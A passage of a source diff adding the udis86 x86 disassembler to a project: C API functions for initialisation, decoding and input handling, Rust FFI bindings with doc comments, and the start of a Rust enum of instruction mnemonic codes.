INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "udint.h" +#include "extern.h" +#include "decode.h" + +#if !defined(__UD_STANDALONE__) +# if HAVE_STRING_H +# include +# endif +#endif /* !__UD_STANDALONE__ */ + +static void ud_inp_init(struct ud *u); + +/* ============================================================================= + * ud_init + * Initializes ud_t object. + * ============================================================================= + */ +extern void +ud_init(struct ud* u) +{ + memset((void*)u, 0, sizeof(struct ud)); + ud_set_mode(u, 16); + u->mnemonic = UD_Iinvalid; + ud_set_pc(u, 0); +#ifndef __UD_STANDALONE__ + ud_set_input_file(u, stdin); +#endif /* __UD_STANDALONE__ */ + + ud_set_asm_buffer(u, u->asm_buf_int, sizeof(u->asm_buf_int)); +} + + +/* ============================================================================= + * ud_disassemble + * Disassembles one instruction and returns the number of + * bytes disassembled. A zero means end of disassembly. + * ============================================================================= + */ +extern unsigned int +ud_disassemble(struct ud* u) +{ + int len; + if (u->inp_end) { + return 0; + } + if ((len = ud_decode(u)) > 0) { + if (u->translator != NULL) { + u->asm_buf[0] = '\0'; + u->translator(u); + } + } + return len; +} + + +/* ============================================================================= + * ud_set_mode() - Set Disassemly Mode. + * ============================================================================= + */ +extern void +ud_set_mode(struct ud* u, uint8_t m) +{ + switch(m) { + case 16: + case 32: + case 64: u->dis_mode = m ; return; + default: u->dis_mode = 16; return; + } +} + +/* ============================================================================= + * ud_set_vendor() - Set vendor. + * ============================================================================= + */ +extern void +ud_set_vendor(struct ud* u, unsigned v) +{ + switch(v) { + case UD_VENDOR_INTEL: + u->vendor = v; + break; + case UD_VENDOR_ANY: + u->vendor = v; + break; + default: + u->vendor = UD_VENDOR_AMD; + } +} + +/* ============================================================================= + * ud_set_pc() - Sets code origin. + * ============================================================================= + */ +extern void +ud_set_pc(struct ud* u, uint64_t o) +{ + u->pc = o; +} + +/* ============================================================================= + * ud_set_syntax() - Sets the output syntax. + * ============================================================================= + */ +extern void +ud_set_syntax(struct ud* u, void (*t)(struct ud*)) +{ + u->translator = t; +} + +/* ============================================================================= + * ud_insn() - returns the disassembled instruction + * ============================================================================= + */ +const char* +ud_insn_asm(const struct ud* u) +{ + return u->asm_buf; +} + +/* ============================================================================= + * ud_insn_offset() - Returns the offset. + * ============================================================================= + */ +uint64_t +ud_insn_off(const struct ud* u) +{ + return u->insn_offset; +} + + +/* ============================================================================= + * ud_insn_hex() - Returns hex form of disassembled instruction. + * ============================================================================= + */ +const char* +ud_insn_hex(struct ud* u) +{ + u->insn_hexcode[0] = 0; + if (!u->error) { + unsigned int i; + const unsigned char *src_ptr = ud_insn_ptr(u); + char* src_hex; + src_hex = (char*) u->insn_hexcode; + /* for each byte used to decode instruction */ + for (i = 0; i < ud_insn_len(u) && i < sizeof(u->insn_hexcode) / 2; + ++i, ++src_ptr) { + sprintf(src_hex, "%02x", *src_ptr & 0xFF); + src_hex += 2; + } + } + return u->insn_hexcode; +} + + +/* ============================================================================= + * ud_insn_ptr + * Returns a pointer to buffer containing the bytes that were + * disassembled. + * ============================================================================= + */ +extern const uint8_t* +ud_insn_ptr(const struct ud* u) +{ + return (u->inp_buf == NULL) ? + u->inp_sess : u->inp_buf + (u->inp_buf_index - u->inp_ctr); +} + + +/* ============================================================================= + * ud_insn_len + * Returns the count of bytes disassembled. + * ============================================================================= + */ +extern unsigned int +ud_insn_len(const struct ud* u) +{ + return u->inp_ctr; +} + + +/* ============================================================================= + * ud_insn_get_opr + * Return the operand struct representing the nth operand of + * the currently disassembled instruction. Returns NULL if + * there's no such operand. + * ============================================================================= + */ +const struct ud_operand* +ud_insn_opr(const struct ud *u, unsigned int n) +{ + if (n > 3 || u->operand[n].type == UD_NONE) { + return NULL; + } else { + return &u->operand[n]; + } +} + + +/* ============================================================================= + * ud_opr_is_sreg + * Returns non-zero if the given operand is of a segment register type. + * ============================================================================= + */ +int +ud_opr_is_sreg(const struct ud_operand *opr) +{ + return opr->type == UD_OP_REG && + opr->base >= UD_R_ES && + opr->base <= UD_R_GS; +} + + +/* ============================================================================= + * ud_opr_is_sreg + * Returns non-zero if the given operand is of a general purpose + * register type. + * ============================================================================= + */ +int +ud_opr_is_gpr(const struct ud_operand *opr) +{ + return opr->type == UD_OP_REG && + opr->base >= UD_R_AL && + opr->base <= UD_R_R15; +} + + +/* ============================================================================= + * ud_set_user_opaque_data + * ud_get_user_opaque_data + * Get/set user opaqute data pointer + * ============================================================================= + */ +void +ud_set_user_opaque_data(struct ud * u, void* opaque) +{ + u->user_opaque_data = opaque; +} + +void* +ud_get_user_opaque_data(const struct ud *u) +{ + return u->user_opaque_data; +} + + +/* ============================================================================= + * ud_set_asm_buffer + * Allow the user to set an assembler output buffer. If `buf` is NULL, + * we switch back to the internal buffer. + * ============================================================================= + */ +void +ud_set_asm_buffer(struct ud *u, char *buf, size_t size) +{ + if (buf == NULL) { + ud_set_asm_buffer(u, u->asm_buf_int, sizeof(u->asm_buf_int)); + } else { + u->asm_buf = buf; + u->asm_buf_size = size; + } +} + + +/* ============================================================================= + * ud_set_sym_resolver + * Set symbol resolver for relative targets used in the translation + * phase. + * + * The resolver is a function that takes a uint64_t address and returns a + * symbolic name for the that address. The function also takes a second + * argument pointing to an integer that the client can optionally set to a + * non-zero value for offsetted targets. (symbol+offset) The function may + * also return NULL, in which case the translator only prints the target + * address. + * + * The function pointer maybe NULL which resets symbol resolution. + * ============================================================================= + */ +void +ud_set_sym_resolver(struct ud *u, const char* (*resolver)(struct ud*, + uint64_t addr, + int64_t *offset)) +{ + u->sym_resolver = resolver; +} + + +/* ============================================================================= + * ud_insn_mnemonic + * Return the current instruction mnemonic. + * ============================================================================= + */ +enum ud_mnemonic_code +ud_insn_mnemonic(const struct ud *u) +{ + return u->mnemonic; +} + + +/* ============================================================================= + * ud_lookup_mnemonic + * Looks up mnemonic code in the mnemonic string table. + * Returns NULL if the mnemonic code is invalid. + * ============================================================================= + */ +const char* +ud_lookup_mnemonic(enum ud_mnemonic_code c) +{ + if (c < UD_MAX_MNEMONIC_CODE) { + return ud_mnemonics_str[c]; + } else { + return NULL; + } +} + + +/* + * ud_inp_init + * Initializes the input system. + */ +static void +ud_inp_init(struct ud *u) +{ + u->inp_hook = NULL; + u->inp_buf = NULL; + u->inp_buf_size = 0; + u->inp_buf_index = 0; + u->inp_curr = 0; + u->inp_ctr = 0; + u->inp_end = 0; + u->inp_peek = UD_EOI; + UD_NON_STANDALONE(u->inp_file = NULL); +} + + +/* ============================================================================= + * ud_inp_set_hook + * Sets input hook. + * ============================================================================= + */ +void +ud_set_input_hook(register struct ud* u, int (*hook)(struct ud*)) +{ + ud_inp_init(u); + u->inp_hook = hook; +} + +/* ============================================================================= + * ud_inp_set_buffer + * Set buffer as input. + * ============================================================================= + */ +void +ud_set_input_buffer(register struct ud* u, const uint8_t* buf, size_t len) +{ + ud_inp_init(u); + u->inp_buf = buf; + u->inp_buf_size = len; + u->inp_buf_index = 0; +} + + +#ifndef __UD_STANDALONE__ +/* ============================================================================= + * ud_input_set_file + * Set FILE as input. + * ============================================================================= + */ +static int +inp_file_hook(struct ud* u) +{ + return fgetc(u->inp_file); +} + +void +ud_set_input_file(register struct ud* u, FILE* f) +{ + ud_inp_init(u); + u->inp_hook = inp_file_hook; + u->inp_file = f; +} +#endif /* __UD_STANDALONE__ */ + + +/* ============================================================================= + * ud_input_skip + * Skip n input bytes. + * ============================================================================ + */ +void +ud_input_skip(struct ud* u, size_t n) +{ + if (u->inp_end) { + return; + } + if (u->inp_buf == NULL) { + while (n--) { + int c = u->inp_hook(u); + if (c == UD_EOI) { + goto eoi; + } + } + return; + } else { + if (n > u->inp_buf_size || + u->inp_buf_index > u->inp_buf_size - n) { + u->inp_buf_index = u->inp_buf_size; + goto eoi; + } + u->inp_buf_index += n; + return; + } +eoi: + u->inp_end = 1; + UDERR(u, "cannot skip, eoi received\b"); + return; +} + + +/* ============================================================================= + * ud_input_end + * Returns non-zero on end-of-input. + * ============================================================================= + */ +int +ud_input_end(const struct ud *u) +{ + return u->inp_end; +} + +/* vim:set ts=2 sw=2 expandtab */ diff --git a/lib/libudis86-sys/src/api.rs b/lib/libudis86-sys/src/api.rs new file mode 100644 index 0000000..48d5b00 --- /dev/null +++ b/lib/libudis86-sys/src/api.rs @@ -0,0 +1,154 @@ +use libc; +use types::{ud, ud_operand}; +use itab::ud_mnemonic_code; + +extern "C" { + /// Initializes an instance. + pub fn ud_init(ud: *mut ud); + + /// Sets the mode of disassembly. Possible values are 16, 32, and 64. By + /// default, the library works in 32bit mode. + pub fn ud_set_mode(ud: *mut ud, mode: u8); + + /// Sets the program counter (IP/EIP/RIP). This changes the offset of the + /// assembly output generated, with direct effect on branch instructions. + pub fn ud_set_pc(ud: *mut ud, program_counter: u64); + + /// Sets a pointer to a function, to callback for input. The callback is + /// invoked each time libudis86 needs the next byte in the input stream. To + /// single end-of-input, this callback must return the constant UD_EOI. + pub fn ud_set_input_hook(ud: *mut ud, callback: ::std::option::Option libc::c_int>); + + /// Sets the input source for the library to a buffer of size bytes. + pub fn ud_set_input_buffer(ud: *mut ud, data: *const u8, len: usize); + + /// Sets the input source to a file pointed to by a given standard library + /// FILE pointer. Note that libudis86 does not perform any checks, and + /// assumes that the file pointer is properly initialized and open for + /// reading. + pub fn ud_set_input_file(ud: *mut ud, file: *mut libc::FILE); + + /// Sets the vendor of whose instruction to choose from. This is only useful + /// for selecting the VMX or SVM instruction sets at which point INTEL and + /// AMD have diverged significantly. At a later stage, support for a more + /// granular selection of instruction sets maybe added. + /// + /// - UD_VENDOR_INTEL - for INTEL instruction set. + /// - UD_VENDOR_ATT - for AMD instruction set. + /// - UD_VENDOR_ANY - for any valid instruction in either INTEL or AMD. + pub fn ud_set_vendor(ud: *mut ud, vendor: libc::c_uint); + + /// Sets the function that translates the intermediate decode information to + /// a human readable form. There are two inbuilt translators, + /// + /// - `ud_translate_intel` for INTEL (NASM-like) syntax. + /// - `ud_translate_att` for AT&T (GAS-like) syntax. + /// + /// If you do not want libudis86 to translate, you can pass NULL to the + /// function, with no more translations thereafter. This is useful when you + /// only want to identify chunks of code and then create the assembly output + /// if needed, or when you are only interested in examining the instructions + /// and do not want to waste cycles generating the assembly language output. + /// + /// If you want to create your own translator, you can specify a pointer to + /// your own function. This function must accept a single parameter, the + /// udis86 object ud_t, and it will be invoked everytime an instruction is + /// decoded. + pub fn ud_set_syntax(ud: *mut ud, translator: ::std::option::Option); + + /// Skips ahead n number of bytes in the input stream. + pub fn ud_input_skip(ud: *mut ud, skipn: usize); + + /// Test for end of input. You can use this function to test if udis86 has + /// exhausted the input. + pub fn ud_input_end(ud: *const ud) -> libc::c_int; + + /// Returns the number of bytes decoded. + pub fn ud_decode(ud: *mut ud) -> libc::c_uint; + + /// Disassembles the next instruction in the input stream. + /// Returns the number of bytes disassembled. A 0 indicates end of input. + /// Note, to restart disassembly after the end of input, you must call one + /// of the input setting functions with a new source of input. + /// + /// A common use-case pattern for this function is in a loop: + /// + /// ```norun + /// while ud_disassemble(&mut object) > 0 { + /// // Use or print decode info. + /// } + /// ``` + pub fn ud_disassemble(ud: *mut ud) -> libc::c_uint; + + /// Translator for the Intel syntax. + pub fn ud_translate_intel(ud: *mut ud); + + /// Translator for the AT&T syntax. + pub fn ud_translate_att(ud: *mut ud); + + /// If the syntax is specified, returns pointer to the character string + /// holding assembly language representation of the disassembled + /// instruction. + pub fn ud_insn_asm(ud: *const ud) -> *const libc::c_char; + + /// Returns pointer to the buffer holding the instruction bytes. Use + /// `ud_insn_len` to determine the size of this buffer. + pub fn ud_insn_ptr(ud: *const ud) -> *const u8; + + /// Returns the offset of the disassembled instruction in terms of the + /// program counter value specified initially. + pub fn ud_insn_off(ud: *const ud) -> u64; + + /// Returns pointer to a character string holding the hexadecimal + /// representation of the disassembled bytes. + pub fn ud_insn_hex(ud: *mut ud) -> *const libc::c_char; + + /// Returns the number of bytes disassembled. + pub fn ud_insn_len(ud: *const ud) -> libc::c_uint; + + /// Returns a reference (`ud_operand`) to the nth (starting with 0) operand + /// of the instruction. If the instruction does not have such an operand, + /// the function returns `null`. + pub fn ud_insn_opr(ud: *const ud, n: libc::c_uint) -> *const ud_operand; + + /// Returns true if the operand uses a segment register. + pub fn ud_opr_is_sreg(opr: *const ud_operand) -> libc::c_int; + + /// Returns true if the operand uses a general purpose register. + pub fn ud_opr_is_gpr(opr: *const ud_operand) -> libc::c_int; + + /// Returns the instruction mnemonic in the form of an enumerated constant + /// (`ud_mnemonic_code`). As a convention all mnemonic constants are + /// composed by prefixing standard instruction mnemonics with `UD_I`. For + /// example, the enumerations for mov, xor and jmp are `UD_Imov`, `UD_Ixor`, + /// and `UD_Ijmp`, respectively. + pub fn ud_insn_mnemonic(ud: *const ud) -> ud_mnemonic_code; + + /// Returns a pointer to a character string corresponding to the given + /// mnemonic code. Returns a `null` if the code is invalid. + pub fn ud_lookup_mnemonic(code: ud_mnemonic_code) -> *const libc::c_char; + + /// Associates a pointer with the udis86 object to be retrieved and used in + /// client functions, such as the input hook callback function. + pub fn ud_set_user_opaque_data(ud: *mut ud, data: *mut libc::c_void); + + /// Returns any pointer associated with the udis86 object, using the + /// `ud_set_user_opaque_data` function. + pub fn ud_get_user_opaque_data(ud: *const ud) -> *mut libc::c_void; + + /// Sets a custom assembler output buffer. + pub fn ud_set_asm_buffer(ud: *mut ud, data: *mut libc::c_char, len: usize); + + /// Sets a symbol resolver for relative targets used in the translation + /// phase. + /// + /// The resolver is a function that takes a `u64` address and returns a + /// symbolic name for the that address. The function also takes a second + /// argument pointing to an integer that the client can optionally set to a + /// non-zero value for offsetted targets. (symbol + offset) The function may + /// also return `null`, in which case the translator only prints the target + /// address. + /// + /// The function pointer maybe `null` which resets symbol resolution. + pub fn ud_set_sym_resolver(ud: *mut ud, resolver: ::std::option::Option *const libc::c_char>); +} diff --git a/lib/libudis86-sys/src/itab.rs b/lib/libudis86-sys/src/itab.rs new file mode 100644 index 0000000..1260640 --- /dev/null +++ b/lib/libudis86-sys/src/itab.rs @@ -0,0 +1,939 @@ +use libc; + +#[repr(u32)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum ud_table_type { + UD_TAB__OPC_VEX = 0, + UD_TAB__OPC_TABLE = 1, + UD_TAB__OPC_X87 = 2, + UD_TAB__OPC_MOD = 3, + UD_TAB__OPC_RM = 4, + UD_TAB__OPC_OSIZE = 5, + UD_TAB__OPC_MODE = 6, + UD_TAB__OPC_VEX_L = 7, + UD_TAB__OPC_3DNOW = 8, + UD_TAB__OPC_REG = 9, + UD_TAB__OPC_ASIZE = 10, + UD_TAB__OPC_VEX_W = 11, + UD_TAB__OPC_SSE = 12, + UD_TAB__OPC_VENDOR = 13, +} + +#[repr(u32)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum ud_mnemonic_code { + UD_Iaaa = 0, + UD_Iaad = 1, + UD_Iaam = 2, + UD_Iaas = 3, + UD_Iadc = 4, + UD_Iadd = 5, + UD_Iaddpd = 6, + UD_Iaddps = 7, + UD_Iaddsd = 8, + UD_Iaddss = 9, + UD_Iaddsubpd = 10, + UD_Iaddsubps = 11, + UD_Iaesdec = 12, + UD_Iaesdeclast = 13, + UD_Iaesenc = 14, + UD_Iaesenclast = 15, + UD_Iaesimc = 16, + UD_Iaeskeygenassist = 17, + UD_Iand = 18, + UD_Iandnpd = 19, + UD_Iandnps = 20, + UD_Iandpd = 21, + UD_Iandps = 22, + UD_Iarpl = 23, + UD_Iblendpd = 24, + UD_Iblendps = 25, + UD_Iblendvpd = 26, + UD_Iblendvps = 27, + UD_Ibound = 28, + UD_Ibsf = 29, + UD_Ibsr = 30, + UD_Ibswap = 31, + UD_Ibt = 32, + UD_Ibtc = 33, + UD_Ibtr = 34, + UD_Ibts = 35, + UD_Icall = 36, + UD_Icbw = 37, + UD_Icdq = 38, + UD_Icdqe = 39, + UD_Iclc = 40, + UD_Icld = 41, + UD_Iclflush = 42, + UD_Iclgi = 43, + UD_Icli = 44, + UD_Iclts = 45, + UD_Icmc = 46, + UD_Icmova = 47, + UD_Icmovae = 48, + UD_Icmovb = 49, + UD_Icmovbe = 50, + UD_Icmovg = 51, + UD_Icmovge = 52, + UD_Icmovl = 53, + UD_Icmovle = 54, + UD_Icmovno = 55, + UD_Icmovnp = 56, + UD_Icmovns = 57, + UD_Icmovnz = 58, + UD_Icmovo = 59, + UD_Icmovp = 60, + UD_Icmovs = 61, + UD_Icmovz = 62, + UD_Icmp = 63, + UD_Icmppd = 64, + UD_Icmpps = 65, + UD_Icmpsb = 66, + UD_Icmpsd = 67, + UD_Icmpsq = 68, + UD_Icmpss = 69, + UD_Icmpsw = 70, + UD_Icmpxchg = 71, + UD_Icmpxchg16b = 72, + UD_Icmpxchg8b = 73, + UD_Icomisd = 74, + UD_Icomiss = 75, + UD_Icpuid = 76, + UD_Icqo = 77, + UD_Icrc32 = 78, + UD_Icvtdq2pd = 79, + UD_Icvtdq2ps = 80, + UD_Icvtpd2dq = 81, + UD_Icvtpd2pi = 82, + UD_Icvtpd2ps = 83, + UD_Icvtpi2pd = 84, + UD_Icvtpi2ps = 85, + UD_Icvtps2dq = 86, + UD_Icvtps2pd = 87, + UD_Icvtps2pi = 88, + UD_Icvtsd2si = 89, + UD_Icvtsd2ss = 90, + UD_Icvtsi2sd = 91, + UD_Icvtsi2ss = 92, + UD_Icvtss2sd = 93, + UD_Icvtss2si = 94, + UD_Icvttpd2dq = 95, + UD_Icvttpd2pi = 96, + UD_Icvttps2dq = 97, + UD_Icvttps2pi = 98, + UD_Icvttsd2si = 99, + UD_Icvttss2si = 100, + UD_Icwd = 101, + UD_Icwde = 102, + UD_Idaa = 103, + UD_Idas = 104, + UD_Idec = 105, + UD_Idiv = 106, + UD_Idivpd = 107, + UD_Idivps = 108, + UD_Idivsd = 109, + UD_Idivss = 110, + UD_Idppd = 111, + UD_Idpps = 112, + UD_Iemms = 113, + UD_Ienter = 114, + UD_Iextractps = 115, + UD_If2xm1 = 116, + UD_Ifabs = 117, + UD_Ifadd = 118, + UD_Ifaddp = 119, + UD_Ifbld = 120, + UD_Ifbstp = 121, + UD_Ifchs = 122, + UD_Ifclex = 123, + UD_Ifcmovb = 124, + UD_Ifcmovbe = 125, + UD_Ifcmove = 126, + UD_Ifcmovnb = 127, + UD_Ifcmovnbe = 128, + UD_Ifcmovne = 129, + UD_Ifcmovnu = 130, + UD_Ifcmovu = 131, + UD_Ifcom = 132, + UD_Ifcom2 = 133, + UD_Ifcomi = 134, + UD_Ifcomip = 135, + UD_Ifcomp = 136, + UD_Ifcomp3 = 137, + UD_Ifcomp5 = 138, + UD_Ifcompp = 139, + UD_Ifcos = 140, + UD_Ifdecstp = 141, + UD_Ifdiv = 142, + UD_Ifdivp = 143, + UD_Ifdivr = 144, + UD_Ifdivrp = 145, + UD_Ifemms = 146, + UD_Iffree = 147, + UD_Iffreep = 148, + UD_Ifiadd = 149, + UD_Ificom = 150, + UD_Ificomp = 151, + UD_Ifidiv = 152, + UD_Ifidivr = 153, + UD_Ifild = 154, + UD_Ifimul = 155, + UD_Ifincstp = 156, + UD_Ifist = 157, + UD_Ifistp = 158, + UD_Ifisttp = 159, + UD_Ifisub = 160, + UD_Ifisubr = 161, + UD_Ifld = 162, + UD_Ifld1 = 163, + UD_Ifldcw = 164, + UD_Ifldenv = 165, + UD_Ifldl2e = 166, + UD_Ifldl2t = 167, + UD_Ifldlg2 = 168, + UD_Ifldln2 = 169, + UD_Ifldpi = 170, + UD_Ifldz = 171, + UD_Ifmul = 172, + UD_Ifmulp = 173, + UD_Ifndisi = 174, + UD_Ifneni = 175, + UD_Ifninit = 176, + UD_Ifnop = 177, + UD_Ifnsave = 178, + UD_Ifnsetpm = 179, + UD_Ifnstcw = 180, + UD_Ifnstenv = 181, + UD_Ifnstsw = 182, + UD_Ifpatan = 183, + UD_Ifprem = 184, + UD_Ifprem1 = 185, + UD_Ifptan = 186, + UD_Ifrndint = 187, + UD_Ifrstor = 188, + UD_Ifrstpm = 189, + UD_Ifscale = 190, + UD_Ifsin = 191, + UD_Ifsincos = 192, + UD_Ifsqrt = 193, + UD_Ifst = 194, + UD_Ifstp = 195, + UD_Ifstp1 = 196, + UD_Ifstp8 = 197, + UD_Ifstp9 = 198, + UD_Ifsub = 199, + UD_Ifsubp = 200, + UD_Ifsubr = 201, + UD_Ifsubrp = 202, + UD_Iftst = 203, + UD_Ifucom = 204, + UD_Ifucomi = 205, + UD_Ifucomip = 206, + UD_Ifucomp = 207, + UD_Ifucompp = 208, + UD_Ifxam = 209, + UD_Ifxch = 210, + UD_Ifxch4 = 211, + UD_Ifxch7 = 212, + UD_Ifxrstor = 213, + UD_Ifxsave = 214, + UD_Ifxtract = 215, + UD_Ifyl2x = 216, + UD_Ifyl2xp1 = 217, + UD_Igetsec = 218, + UD_Ihaddpd = 219, + UD_Ihaddps = 220, + UD_Ihlt = 221, + UD_Ihsubpd = 222, + UD_Ihsubps = 223, + UD_Iidiv = 224, + UD_Iimul = 225, + UD_Iin = 226, + UD_Iinc = 227, + UD_Iinsb = 228, + UD_Iinsd = 229, + UD_Iinsertps = 230, + UD_Iinsw = 231, + UD_Iint = 232, + UD_Iint1 = 233, + UD_Iint3 = 234, + UD_Iinto = 235, + UD_Iinvd = 236, + UD_Iinvept = 237, + UD_Iinvlpg = 238, + UD_Iinvlpga = 239, + UD_Iinvvpid = 240, + UD_Iiretd = 241, + UD_Iiretq = 242, + UD_Iiretw = 243, + UD_Ija = 244, + UD_Ijae = 245, + UD_Ijb = 246, + UD_Ijbe = 247, + UD_Ijcxz = 248, + UD_Ijecxz = 249, + UD_Ijg = 250, + UD_Ijge = 251, + UD_Ijl = 252, + UD_Ijle = 253, + UD_Ijmp = 254, + UD_Ijno = 255, + UD_Ijnp = 256, + UD_Ijns = 257, + UD_Ijnz = 258, + UD_Ijo = 259, + UD_Ijp = 260, + UD_Ijrcxz = 261, + UD_Ijs = 262, + UD_Ijz = 263, + UD_Ilahf = 264, + UD_Ilar = 265, + UD_Ilddqu = 266, + UD_Ildmxcsr = 267, + UD_Ilds = 268, + UD_Ilea = 269, + UD_Ileave = 270, + UD_Iles = 271, + UD_Ilfence = 272, + UD_Ilfs = 273, + UD_Ilgdt = 274, + UD_Ilgs = 275, + UD_Ilidt = 276, + UD_Illdt = 277, + UD_Ilmsw = 278, + UD_Ilock = 279, + UD_Ilodsb = 280, + UD_Ilodsd = 281, + UD_Ilodsq = 282, + UD_Ilodsw = 283, + UD_Iloop = 284, + UD_Iloope = 285, + UD_Iloopne = 286, + UD_Ilsl = 287, + UD_Ilss = 288, + UD_Iltr = 289, + UD_Imaskmovdqu = 290, + UD_Imaskmovq = 291, + UD_Imaxpd = 292, + UD_Imaxps = 293, + UD_Imaxsd = 294, + UD_Imaxss = 295, + UD_Imfence = 296, + UD_Iminpd = 297, + UD_Iminps = 298, + UD_Iminsd = 299, + UD_Iminss = 300, + UD_Imonitor = 301, + UD_Imontmul = 302, + UD_Imov = 303, + UD_Imovapd = 304, + UD_Imovaps = 305, + UD_Imovbe = 306, + UD_Imovd = 307, + UD_Imovddup = 308, + UD_Imovdq2q = 309, + UD_Imovdqa = 310, + UD_Imovdqu = 311, + UD_Imovhlps = 312, + UD_Imovhpd = 313, + UD_Imovhps = 314, + UD_Imovlhps = 315, + UD_Imovlpd = 316, + UD_Imovlps = 317, + UD_Imovmskpd = 318, + UD_Imovmskps = 319, + UD_Imovntdq = 320, + UD_Imovntdqa = 321, + UD_Imovnti = 322, + UD_Imovntpd = 323, + UD_Imovntps = 324, + UD_Imovntq = 325, + UD_Imovq = 326, + UD_Imovq2dq = 327, + UD_Imovsb = 328, + UD_Imovsd = 329, + UD_Imovshdup = 330, + UD_Imovsldup = 331, + UD_Imovsq = 332, + UD_Imovss = 333, + UD_Imovsw = 334, + UD_Imovsx = 335, + UD_Imovsxd = 336, + UD_Imovupd = 337, + UD_Imovups = 338, + UD_Imovzx = 339, + UD_Impsadbw = 340, + UD_Imul = 341, + UD_Imulpd = 342, + UD_Imulps = 343, + UD_Imulsd = 344, + UD_Imulss = 345, + UD_Imwait = 346, + UD_Ineg = 347, + UD_Inop = 348, + UD_Inot = 349, + UD_Ior = 350, + UD_Iorpd = 351, + UD_Iorps = 352, + UD_Iout = 353, + UD_Ioutsb = 354, + UD_Ioutsd = 355, + UD_Ioutsw = 356, + UD_Ipabsb = 357, + UD_Ipabsd = 358, + UD_Ipabsw = 359, + UD_Ipackssdw = 360, + UD_Ipacksswb = 361, + UD_Ipackusdw = 362, + UD_Ipackuswb = 363, + UD_Ipaddb = 364, + UD_Ipaddd = 365, + UD_Ipaddq = 366, + UD_Ipaddsb = 367, + UD_Ipaddsw = 368, + UD_Ipaddusb = 369, + UD_Ipaddusw = 370, + UD_Ipaddw = 371, + UD_Ipalignr = 372, + UD_Ipand = 373, + UD_Ipandn = 374, + UD_Ipavgb = 375, + UD_Ipavgusb = 376, + UD_Ipavgw = 377, + UD_Ipblendvb = 378, + UD_Ipblendw = 379, + UD_Ipclmulqdq = 380, + UD_Ipcmpeqb = 381, + UD_Ipcmpeqd = 382, + UD_Ipcmpeqq = 383, + UD_Ipcmpeqw = 384, + UD_Ipcmpestri = 385, + UD_Ipcmpestrm = 386, + UD_Ipcmpgtb = 387, + UD_Ipcmpgtd = 388, + UD_Ipcmpgtq = 389, + UD_Ipcmpgtw = 390, + UD_Ipcmpistri = 391, + UD_Ipcmpistrm = 392, + UD_Ipextrb = 393, + UD_Ipextrd = 394, + UD_Ipextrq = 395, + UD_Ipextrw = 396, + UD_Ipf2id = 397, + UD_Ipf2iw = 398, + UD_Ipfacc = 399, + UD_Ipfadd = 400, + UD_Ipfcmpeq = 401, + UD_Ipfcmpge = 402, + UD_Ipfcmpgt = 403, + UD_Ipfmax = 404, + UD_Ipfmin = 405, + UD_Ipfmul = 406, + UD_Ipfnacc = 407, + UD_Ipfpnacc = 408, + UD_Ipfrcp = 409, + UD_Ipfrcpit1 = 410, + UD_Ipfrcpit2 = 411, + UD_Ipfrsqit1 = 412, + UD_Ipfrsqrt = 413, + UD_Ipfsub = 414, + UD_Ipfsubr = 415, + UD_Iphaddd = 416, + UD_Iphaddsw = 417, + UD_Iphaddw = 418, + UD_Iphminposuw = 419, + UD_Iphsubd = 420, + UD_Iphsubsw = 421, + UD_Iphsubw = 422, + UD_Ipi2fd = 423, + UD_Ipi2fw = 424, + UD_Ipinsrb = 425, + UD_Ipinsrd = 426, + UD_Ipinsrq = 427, + UD_Ipinsrw = 428, + UD_Ipmaddubsw = 429, + UD_Ipmaddwd = 430, + UD_Ipmaxsb = 431, + UD_Ipmaxsd = 432, + UD_Ipmaxsw = 433, + UD_Ipmaxub = 434, + UD_Ipmaxud = 435, + UD_Ipmaxuw = 436, + UD_Ipminsb = 437, + UD_Ipminsd = 438, + UD_Ipminsw = 439, + UD_Ipminub = 440, + UD_Ipminud = 441, + UD_Ipminuw = 442, + UD_Ipmovmskb = 443, + UD_Ipmovsxbd = 444, + UD_Ipmovsxbq = 445, + UD_Ipmovsxbw = 446, + UD_Ipmovsxdq = 447, + UD_Ipmovsxwd = 448, + UD_Ipmovsxwq = 449, + UD_Ipmovzxbd = 450, + UD_Ipmovzxbq = 451, + UD_Ipmovzxbw = 452, + UD_Ipmovzxdq = 453, + UD_Ipmovzxwd = 454, + UD_Ipmovzxwq = 455, + UD_Ipmuldq = 456, + UD_Ipmulhrsw = 457, + UD_Ipmulhrw = 458, + UD_Ipmulhuw = 459, + UD_Ipmulhw = 460, + UD_Ipmulld = 461, + UD_Ipmullw = 462, + UD_Ipmuludq = 463, + UD_Ipop = 464, + UD_Ipopa = 465, + UD_Ipopad = 466, + UD_Ipopcnt = 467, + UD_Ipopfd = 468, + UD_Ipopfq = 469, + UD_Ipopfw = 470, + UD_Ipor = 471, + UD_Iprefetch = 472, + UD_Iprefetchnta = 473, + UD_Iprefetcht0 = 474, + UD_Iprefetcht1 = 475, + UD_Iprefetcht2 = 476, + UD_Ipsadbw = 477, + UD_Ipshufb = 478, + UD_Ipshufd = 479, + UD_Ipshufhw = 480, + UD_Ipshuflw = 481, + UD_Ipshufw = 482, + UD_Ipsignb = 483, + UD_Ipsignd = 484, + UD_Ipsignw = 485, + UD_Ipslld = 486, + UD_Ipslldq = 487, + UD_Ipsllq = 488, + UD_Ipsllw = 489, + UD_Ipsrad = 490, + UD_Ipsraw = 491, + UD_Ipsrld = 492, + UD_Ipsrldq = 493, + UD_Ipsrlq = 494, + UD_Ipsrlw = 495, + UD_Ipsubb = 496, + UD_Ipsubd = 497, + UD_Ipsubq = 498, + UD_Ipsubsb = 499, + UD_Ipsubsw = 500, + UD_Ipsubusb = 501, + UD_Ipsubusw = 502, + UD_Ipsubw = 503, + UD_Ipswapd = 504, + UD_Iptest = 505, + UD_Ipunpckhbw = 506, + UD_Ipunpckhdq = 507, + UD_Ipunpckhqdq = 508, + UD_Ipunpckhwd = 509, + UD_Ipunpcklbw = 510, + UD_Ipunpckldq = 511, + UD_Ipunpcklqdq = 512, + UD_Ipunpcklwd = 513, + UD_Ipush = 514, + UD_Ipusha = 515, + 